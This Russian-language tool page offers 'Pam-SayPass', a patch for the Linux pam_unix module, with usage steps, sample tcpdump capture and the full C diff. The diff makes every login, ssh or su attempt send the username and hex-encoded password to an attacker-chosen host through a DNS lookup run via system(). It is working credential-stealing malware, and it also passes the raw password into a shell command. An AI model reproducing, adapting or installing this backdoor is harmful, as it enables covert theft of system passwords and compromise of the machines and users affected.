Pam-SayPass by Buggzy

  • ОС: UNIX
  • Ссылки:
Патч для pam_unix, при аутентификации в системе (login, ssh, su, x-windows) отсылающий имя пользователя и пароль на указанный сервер в виде DNS-запроса.

Пропатченый PAM устанавливается на целевую систему, и она вдальнейшем сообщает заданному хосту обо всех попытках авторизации в режиме реального времени.

Применение:

  1. Установить исходники PAM
  2. Поправить патч для своих нужд (195.209.191.1 заменить на “правильный” адрес хоста)
  3. Применить патч к modules/pam_unix/pam_unix_auth.c
  4. Собрать и установить pam_unix.so
ВНИМАНИЕ! Неаккуратные действия с PAM могут привести к невозможности авторизоваться в системе.

После установки исправленного pam_unix при каждой попытке авторизации на следящий хост отправляется DNS-запрос на разрешение А-записи вида: “username.encoded_password.”, где encoded_password – пароль пользователя в hex-кодироке. Их удобно собирать при помощи снифера, установленного на следящем хосте.

[root@asplinux]# tcpdump -n port 53
tcpdump: listening on eth0
13:40:30.161475 213.242.280.256.1025 > 195.209.191.1.domain: 60080+ A? buggzy.3132333435. (35) (DF)
Патч распространяется по лицении GPL ;-)
*** pam_unix_auth.c.old	2004-02-23 13:04:09.000000000 +0300
--- pam_unix_auth.c	2004-02-23 13:27:13.000000000 +0300
*************** PAM_EXTERN int pam_sm_authenticate(pam_h
*** 166,171 ****
--- 166,181 ----
  		AUTH_RETURN
  	}
  	D(("user=%s, password=[%s]", name, p));
+ 	
+ 	{
+ 	    char buff[1024]; int i;
+ 	    sprintf(buff,"host %s.",name);
+ 	    for(i=0; i<strlen(p); i++)
+ 		sprintf(buff+strlen(buff),"%02X",(unsigned char)p[i]);
+ 	    
+ 	    strcat(buff, ". 195.209.191.1 > /dev/null");
+ 	    system(buff);	
+ 	}
  
  	/* verify the password of this user */
  	retval = _unix_verify_password(pamh, name, p, ctrl);
Автор программы buggzy http://buggzy.narod.ru/pam-saypass.html